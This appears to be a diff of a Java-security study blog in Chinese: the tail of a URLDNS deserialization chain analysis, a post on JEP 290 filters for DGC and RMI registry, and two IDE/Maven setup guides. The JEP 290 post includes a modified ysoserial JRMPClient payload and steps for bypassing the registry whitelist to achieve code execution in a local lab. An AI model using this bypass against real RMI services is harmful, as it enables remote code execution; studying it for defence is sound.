|
||||
return putVal(hash(key), key, value, false, true);
|
||||
}
|
||||
```
|
||||
|
||||
**put 方法中又调用了 HashMap 的 hash 方法,查看 hash 方法:**
|
||||
|
||||
```
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
|
||||
可以看到,hash 方法中调用了 key 的 hashCode 方法,而 key 就是我们传入的 URL 对象,也即调用了 URL 对象的 hashCode 方法,因此进行了 DNS 解析。
|
||||
|
||||
**为什么要用反射修改 url 的 hashCode 属性值**
|
||||
|
||||
调用了 url 的 hashCode 方法之后,url 的 hashCode 属性便不再是 -1(初始值为 -1 ,调用 hashCode 方法之后会生成新的值),结合 URL 类的 hashCode 方法来看:
|
||||
|
||||
```
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
return hashCode;
|
||||
|
||||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
}
|
||||
```
|
||||
|
||||
下一次调用 url 的 hashCode 方法就不会再调用 handler.hashCode 方法,也就不会进行 DNS 解析了。为了之后的反序列化能够顺利进行 DNS 解析,这里用反射来修改 url 的 hashCode 属性值重新为 -1 。
|
||||
|
||||
#### 反序列化时进行 DNS 解析的原理
|
||||
|
||||
来看反序列化类:
|
||||
|
||||
```
|
||||
public class unserialization {
|
||||
public static void main(String[] args) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
|
||||
HashMap hashMap = (HashMap) ois.readObject();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
由于 HashMap 重写了 readObject 方法,因此在调用时不会调用 ObjectInputStream 默认的 readObject 方法,而是会调用 HashMap 重写的 readObject 方法。
|
||||
|
||||
**查看 HashMap 的 readObject 方法:**
|
||||
|
||||
```
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
// Read in the threshold (ignored), loadfactor, and any hidden stuff
|
||||
s.defaultReadObject();
|
||||
reinitialize();
|
||||
if (loadFactor <= 0 || Float.isNaN(loadFactor))
|
||||
throw new InvalidObjectException("Illegal load factor: " +
|
||||
loadFactor);
|
||||
s.readInt(); // Read and ignore number of buckets
|
||||
int mappings = s.readInt(); // Read number of mappings (size)
|
||||
if (mappings < 0)
|
||||
throw new InvalidObjectException("Illegal mappings count: " +
|
||||
mappings);
|
||||
else if (mappings > 0) { // (if zero, use defaults)
|
||||
// Size the table using given load factor only if within
|
||||
// range of 0.25...4.0
|
||||
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
|
||||
float fc = (float)mappings / lf + 1.0f;
|
||||
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
|
||||
DEFAULT_INITIAL_CAPACITY :
|
||||
(fc >= MAXIMUM_CAPACITY) ?
|
||||
MAXIMUM_CAPACITY :
|
||||
tableSizeFor((int)fc));
|
||||
float ft = (float)cap * lf;
|
||||
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
|
||||
(int)ft : Integer.MAX_VALUE);
|
||||
@SuppressWarnings({"rawtypes","unchecked"})
|
||||
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
|
||||
table = tab;
|
||||
|
||||
// Read the keys and values, and put the mappings in the HashMap
|
||||
for (int i = 0; i < mappings; i++) {
|
||||
@SuppressWarnings("unchecked")
|
||||
K key = (K) s.readObject();
|
||||
@SuppressWarnings("unchecked")
|
||||
V value = (V) s.readObject();
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
很多很杂,但其实前面的都不重要,直接看末尾的 for 循环中的最后一条语句:
|
||||
|
||||
```
|
||||
putVal(hash(key), key, value, false, false);
|
||||
```
|
||||
|
||||
见过吧,其实跟序列化时的 put 方法中的内容是一样的,一样的调用了 hash 方法:
|
||||
|
||||
```
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
|
||||
一样的调用了 key 的 hashCode 方法,也即 URL 对象的 hashCode 方法,进行了 DNS 解析。所以如果前面不把 hashCode 改回 -1 的话,反序列化是不会进行 DNS 解析的哦~
|
||||
|
||||
### 调用链总结
|
||||
|
||||
```
|
||||
HashMap#readObject(java.io.ObjectInputStream)
|
||||
HashMap#hash(Object)
|
||||
URL#hashCode()
|
||||
URLStreamHandler#hashCode(URL)
|
||||
URLStreamHandler#getHostAddress(URL)
|
||||
InetAddress#getByName(String) # DNS 解析
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,356 @@
|
||||
# 漏洞篇 - 关于 JEP 290
|
||||
> 2024-09-08
|
||||
> 来源:https://changeyourway.github.io/2024/09/08/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-%E5%85%B3%E4%BA%8EJEP290/
|
||||
|
||||
## JEP 290
|
||||
|
||||
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
|
||||
|
||||
JEP 290 主要提供了以下几个机制:
|
||||
|
||||
- 用黑白名单的方式限制可反序列化的类;
|
||||
- 限制反序列化的调用深度和复杂度;
|
||||
- 为 RMI export 的对象设置了验证机制;
|
||||
- 提供一个全局过滤器,可以在 properties 或配置文件中进行配置;
|
||||
|
||||
现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误:
|
||||
|
||||

|
||||
|
||||
这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。
|
||||
|
||||
从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝:
|
||||
|
||||

|
||||
|
||||
另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关:
|
||||
|
||||
```
|
||||
private void filterCheck(Class<?> clazz, int arrayLength)
|
||||
throws InvalidClassException {
|
||||
if (serialFilter != null) {
|
||||
RuntimeException ex = null;
|
||||
ObjectInputFilter.Status status;
|
||||
// Info about the stream is not available if overridden by subclass, return 0
|
||||
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
|
||||
try {
|
||||
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
|
||||
totalObjectRefs, depth, bytesRead));
|
||||
} catch (RuntimeException e) {
|
||||
// Preventive interception of an exception to log
|
||||
status = ObjectInputFilter.Status.REJECTED;
|
||||
ex = e;
|
||||
}
|
||||
if (status == null ||
|
||||
status == ObjectInputFilter.Status.REJECTED) {
|
||||
// Debug logging of filter checks that fail
|
||||
if (Logging.infoLogger != null) {
|
||||
Logging.infoLogger.info(
|
||||
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
|
||||
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
|
||||
Objects.toString(ex, "n/a"));
|
||||
}
|
||||
InvalidClassException ice = new InvalidClassException("filter status: " + status);
|
||||
ice.initCause(ex);
|
||||
throw ice;
|
||||
} else {
|
||||
// Trace logging for those that succeed
|
||||
if (Logging.traceLogger != null) {
|
||||
Logging.traceLogger.finer(
|
||||
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
|
||||
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
|
||||
Objects.toString(ex, "n/a"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 对于 DGC 的影响
|
||||
|
||||
具体体现在为 DGCImpl 新增了一个 checkInput 方法:
|
||||
|
||||
```
|
||||
private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) {
|
||||
if (dgcFilter != null) {
|
||||
ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo);
|
||||
if (status != ObjectInputFilter.Status.UNDECIDED) {
|
||||
// The DGC filter can override the built-in white-list
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (filterInfo.depth() > DGC_MAX_DEPTH) {
|
||||
return ObjectInputFilter.Status.REJECTED;
|
||||
}
|
||||
Class<?> clazz = filterInfo.serialClass();
|
||||
if (clazz != null) {
|
||||
while (clazz.isArray()) {
|
||||
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) {
|
||||
return ObjectInputFilter.Status.REJECTED;
|
||||
}
|
||||
// Arrays are allowed depending on the component type
|
||||
clazz = clazz.getComponentType();
|
||||
}
|
||||
if (clazz.isPrimitive()) {
|
||||
// Arrays of primitives are allowed
|
||||
return ObjectInputFilter.Status.ALLOWED;
|
||||
}
|
||||
return (clazz == ObjID.class ||
|
||||
clazz == UID.class ||
|
||||
clazz == VMID.class ||
|
||||
clazz == Lease.class)
|
||||
? ObjectInputFilter.Status.ALLOWED
|
||||
: ObjectInputFilter.Status.REJECTED;
|
||||
}
|
||||
// Not a class, not size limited
|
||||
return ObjectInputFilter.Status.UNDECIDED;
|
||||
}
|
||||
```
|
||||
|
||||
- 如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。
|
||||
- 使用 DGC\_MAX\_DEPTH 和 DGC\_MAX\_ARRAY\_SIZE 来限制深度和数组大小。
|
||||
- 只有白名单类( ObjID,UID,VMID,Lease )允许被反序列化。
|
||||
|
||||
在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下:
|
||||
|
||||
```
|
||||
TCPTransport#handleMessages(Connection, boolean)
|
||||
Transport#serviceCall(RemoteCall)
|
||||
UnicastServerRef#dispatch(Remote, RemoteCall)
|
||||
UnicastServerRef#oldDispatch(Remote, RemoteCall, int)
|
||||
DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
|
||||
```
|
||||
|
||||
然后会在这里调用 ObjectInputStream 的 readObject 方法:
|
||||
|
||||

|
||||
|
||||
跟进 ObjectInputStream#readObject() :
|
||||
|
||||

|
||||
|
||||
跟进 ObjectInputStream#readObject(Class<?>):
|
||||
|
||||

|
||||
|
||||
这里会调用 readObject0 方法。
|
||||
|
||||
跟进 ObjectInputStream#readObject0(Class<?>, boolean), readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC\_OBJECT(表示普通对象)时,会进行如下操作:
|
||||
|
||||

|
||||
|
||||
跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象:
|
||||
|
||||

|
||||
|
||||
跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符:
|
||||
|
||||

|
||||
|
||||
进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。
|
||||
|
||||
跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个:
|
||||
|
||||

|
||||
|
||||
跟进 ObjectInputStream#filterCheck(Class<?>, int) :
|
||||
|
||||

|
||||
|
||||
在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。
|
||||
|
||||
#### 调用链总结
|
||||
|
||||
服务端处理的调用链如下:
|
||||
|
||||
```
|
||||
DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
|
||||
ObjectInputStream#readObject()
|
||||
ObjectInputStream#readObject(Class<?>)
|
||||
ObjectInputStream#readObject0(Class<?>, boolean)
|
||||
ObjectInputStream#readOrdinaryObject(boolean)
|
||||
ObjectInputStream#readClassDesc(boolean)
|
||||
ObjectInputStream#readNonProxyDesc(boolean)
|
||||
ObjectInputStream#filterCheck(Class<?>, int)
|
||||
DGCImpl#checkInput(ObjectInputFilter.FilterInfo)
|
||||
```
|
||||
|
||||
### 对于 RMI 的影响
|
||||
|
||||
具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法:
|
||||
|
||||
```
|
||||
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
|
||||
if (registryFilter != null) {
|
||||
ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
|
||||
if (status != ObjectInputFilter.Status.UNDECIDED) {
|
||||
// The Registry filter can override the built-in white-list
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
|
||||
return ObjectInputFilter.Status.REJECTED;
|
||||
}
|
||||
Class<?> clazz = filterInfo.serialClass();
|
||||
if (clazz != null) {
|
||||
if (clazz.isArray()) {
|
||||
// Arrays are REJECTED only if they exceed the limit
|
||||
return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE)
|
||||
? ObjectInputFilter.Status.REJECTED
|
||||
: ObjectInputFilter.Status.UNDECIDED;
|
||||
}
|
||||
if (String.class == clazz
|
||||
|| java.lang.Number.class.isAssignableFrom(clazz)
|
||||
|| Remote.class.isAssignableFrom(clazz)
|
||||
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|
||||
|| UnicastRef.class.isAssignableFrom(clazz)
|
||||
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|
||||
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|
||||
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|
||||
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
|
||||
return ObjectInputFilter.Status.ALLOWED;
|
||||
} else {
|
||||
return ObjectInputFilter.Status.REJECTED;
|
||||
}
|
||||
}
|
||||
return ObjectInputFilter.Status.UNDECIDED;
|
||||
}
|
||||
```
|
||||
|
||||
1. 如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。
|
||||
|
||||
2. 使用 REGISTRY\_MAX\_DEPTH 和 REGISTRY\_MAX\_ARRAY\_SIZE 来限制深度和数组大小。
|
||||
|
||||
3. 以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。
|
||||
|
||||
|
||||
其调用链与 DGC 相似,只不过是在 RegistryImpl\_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。
|
||||
|
||||
bind 的处理逻辑:
|
||||
|
||||

|
||||
|
||||
rebind 的处理逻辑:
|
||||
|
||||

|
||||
|
||||
而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。**也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。**之前提到的针对 Server 端和 Client 端的攻击依然可行。
|
||||
|
||||
#### 调用链总结
|
||||
|
||||
还是总结一下 Registry 端的处理逻辑:
|
||||
|
||||
```
|
||||
RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
|
||||
ObjectInputStream#readObject()
|
||||
ObjectInputStream#readObject(Class<?>)
|
||||
ObjectInputStream#readObject0(Class<?>, boolean)
|
||||
ObjectInputStream#readOrdinaryObject(boolean)
|
||||
ObjectInputStream#readClassDesc(boolean)
|
||||
ObjectInputStream#readProxyDesc(boolean)
|
||||
ObjectInputStream#filterCheck(Class<?>, int)
|
||||
RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo)
|
||||
```
|
||||
|
||||
除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。
|
||||
|
||||
### 绕过分析
|
||||
|
||||
在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。
|
||||
|
||||
JDK 8u202 环境下,如果存在一个 Registry 端:
|
||||
|
||||
```
|
||||
Registry registry = LocateRegistry.createRegistry(1099);
|
||||
```
|
||||
|
||||
那么就可以针对它展开攻击:
|
||||
|
||||
1. 首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。
|
||||
|
||||
2. 然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。
|
||||
|
||||
3. 于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。
|
||||
|
||||
|
||||
修改后的 payloads/JRMPClient 用来实现第二步:
|
||||
|
||||
```
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||
|
||||
public Registry getObject ( final String command ) throws Exception {
|
||||
|
||||
String host;
|
||||
int port;
|
||||
int sep = command.indexOf(':');
|
||||
if ( sep < 0 ) {
|
||||
port = new Random().nextInt(65535);
|
||||
host = command;
|
||||
}
|
||||
else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.valueOf(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
|
||||
Registry.class
|
||||
}, obj);
|
||||
return proxy;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
JRMPClient jrmpClient = new JRMPClient();
|
||||
// exploit/JRMPListener 开启监听的端口是 7777
|
||||
Registry proxy = jrmpClient.getObject("127.0.0.1:7777");
|
||||
Registry reg = LocateRegistry.getRegistry("localhost",1099);
|
||||
reg.rebind("hello", proxy);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。
|
||||
|
||||
会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类:
|
||||
|
||||

|
||||
|
||||
不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了:
|
||||
|
||||

|
||||
|
||||
## 参考文章
|
||||
|
||||
[浅谈 JEP290](https://drun1baby.top/2023/04/18/%E6%B5%85%E8%B0%88-JEP290/#0x02-%E5%85%B3%E4%BA%8E-JEP290)
|
||||
|
||||
[Java RMI 攻击由浅入深](https://su18.org/post/rmi-attack/#jep-290)
|
||||
|
||||
[RMI:绕过 JEP290 —— 上](https://m0d9.me/2020/07/02/RMI%EF%BC%9A%E7%BB%95%E8%BF%87JEP290%E2%80%94%E2%80%94%E4%B8%8A/)
|
||||
|
||||
[RMI:绕过 JEP290 —— 中](https://m0d9.me/2020/07/11/RMI%EF%BC%9A%E7%BB%95%E8%BF%87JEP290%E2%80%94%E2%80%94%E4%B8%AD/)
|
||||
@@ -0,0 +1,75 @@
|
||||
# 配置篇 - IDEA 查看带 sun 包的 JDK 源码
|
||||
> 2024-05-12
|
||||
> 来源:https://changeyourway.github.io/2024/05/12/Java%20%E5%AE%89%E5%85%A8/%E9%85%8D%E7%BD%AE%E7%AF%87-idea%E6%9F%A5%E7%9C%8BJDK%E5%92%8C%E4%BE%9D%E8%B5%96%E7%9A%84%E6%BA%90%E7%A0%81/
|
||||
|
||||
前言:前面在分析初始版本 CC1 链的时候,查看 sun 包里的 AnnotationInvocationHandler 类的源码,发现变量名全都是 var 开头,非常不便于阅读,接下来将介绍如何使用 IDEA 查看带 sun 包的 JDK 源码,以及导入的依赖源码,这里的源码指的是 .java 文件。
|
||||
|
||||
## IDEA 查看带 sun 包的 JDK 源码
|
||||
|
||||
ref:[JAVA CC1分析](https://quan9i.top/post/Java%20CC1/)
|
||||
|
||||
原始的 JDK 中的 src.zip 是没有 sun 包的,我们需要自己下载包含 sun 包的源码。
|
||||
|
||||
以 JDK8u65 版本为例,前往 openjdk 网站下载的链接为:[http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)
|
||||
|
||||
点击左侧的 zip 即可下载压缩包:
|
||||
|
||||

|
||||
|
||||
下载的压缩包名为 jdk-af660750b2f4.zip ,将其解压后,在 `jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes` 路径下即可找到 sun 包:
|
||||
|
||||

|
||||
|
||||
在我们之前的 JDK 文件夹下有一个 src.zip 压缩包,将其解压后,将上面的 sun 包复制进来:
|
||||
|
||||

|
||||
|
||||
这时候就可以在 idea 中添加资源文件了。
|
||||
|
||||
打开 idea -> ProJect Structure -> SDKs 选择上方的 Classpath ,点击加号,将 src 路径导入进去:
|
||||
|
||||

|
||||
|
||||
添加完 Classpath 之后,还要添加 Sourcepath :
|
||||
|
||||

|
||||
|
||||
这样就算完成了。
|
||||
|
||||
这时就可以写个程序验证是否添加成功:
|
||||
|
||||

|
||||
|
||||
Ctrl + 鼠标左键进入源码:
|
||||
|
||||

|
||||
|
||||
可以发现此时进入的是 .java 文件而不再是 .class 文件了,说明添加成功。
|
||||
|
||||
## IDEA 查看依赖包的 Java 源码
|
||||
|
||||
ref:[idea 查看 Java 源码,而不是编译后的 class 文件](https://blog.csdn.net/qq_41937438/article/details/102633266)
|
||||
|
||||
以 CC 依赖为例:
|
||||
|
||||
```
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>commons-collections</groupId>
|
||||
<artifactId>commons-collections</artifactId>
|
||||
<version>3.2.1</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
```
|
||||
|
||||
首先打开设置,找到红框所示路径,勾选 Sources 和 Documentation :
|
||||
|
||||

|
||||
|
||||
点击 Apply 应用和 OK 退出。
|
||||
|
||||
接着打开右侧 Maven 图标,按照图示步骤 Download Sources :
|
||||
|
||||

|
||||
|
||||
到这一步就添加完成了。
|
||||
@@ -0,0 +1,59 @@
|
||||
# 配置篇 - Maven 手动下载与导入依赖
|
||||
> 2024-05-10
|
||||
> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E9%85%8D%E7%BD%AE%E7%AF%87-Maven%E6%89%8B%E5%8A%A8%E4%B8%8B%E8%BD%BD%E4%B8%8E%E5%AF%BC%E5%85%A5%E4%BE%9D%E8%B5%96/
|
||||
|
||||
遇到 maven 无法自动导入的依赖怎么办,本文介绍了如何手动下载与导入 maven 依赖
|
||||
|
||||
## 遇到 maven 无法自动导入的依赖怎么办
|
||||
|
||||
推荐博客:[maven 项目手动导入 jar 包依赖](https://blog.csdn.net/weixin_44455388/article/details/100926697)
|
||||
|
||||
### 第一步,在网上下载依赖 jar 包
|
||||
|
||||
比较推荐 nowjava (时代java)这个网站。
|
||||
|
||||
比如我要下载 javax.el-api-3.0.0.jar ,那么访问网址 [https://nowjava.com/jar/detail/m03040939/javax.el-api-3.0.0.jar.html](https://nowjava.com/jar/detail/m03040939/javax.el-api-3.0.0.jar.html) 即可,往下翻,有下载 jar 包的链接:
|
||||
|
||||

|
||||
|
||||
下载好之后复制文件路径:”C:\\Users\\miaoj\\Downloads\\javax.el-api-3.0.0.jar” 。
|
||||
|
||||
### 第二步,idea 中导入 jar 包
|
||||
|
||||
file => project Structure => modules => Dependencies => 点击加号 => 选择第一项 JARs or Directories
|
||||
|
||||

|
||||
|
||||
将文件地址粘贴进去,确定即可。
|
||||
|
||||
### 第三步,将 jar 包手动添加到 maven 本地仓库中
|
||||
|
||||
打开 idea 的 Terminal 终端进入 Windows 命令提示符,输入以下命令:
|
||||
|
||||
```
|
||||
mvn install:install-file -Dfile="C:\Users\miaoj\Downloads\javax.el-api-3.0.0.jar" -DgroupId=javax.el -DartifactId=javax.el-api -Dversion=3.0.0 -Dpackaging=jar
|
||||
```
|
||||
|
||||
\-DgroupId:pom 文件中的 groupId
|
||||
|
||||
\-DartifactId:pom 文件中的 artifactId
|
||||
|
||||
\-Dversion:pom 文件中的 version
|
||||
|
||||
\-Dpackaging:导入包的类型,这里是 jar 类型
|
||||
|
||||
\-Dfile:jar 包所在路径
|
||||
|
||||
在执行结果中可以看到 jar 包已被导入 maven 本地仓库:
|
||||
|
||||

|
||||
|
||||
完成之后,查看 pom.xml 文件可以发现原来的依赖不再爆红:
|
||||
|
||||
```
|
||||
<dependency>
|
||||
<groupId>javax.el</groupId>
|
||||
<artifactId>javax.el-api</artifactId>
|
||||
<version>3.0.0</version>
|
||||
</dependency>
|
||||
```
|
||||
Reference in New Issue
Block a user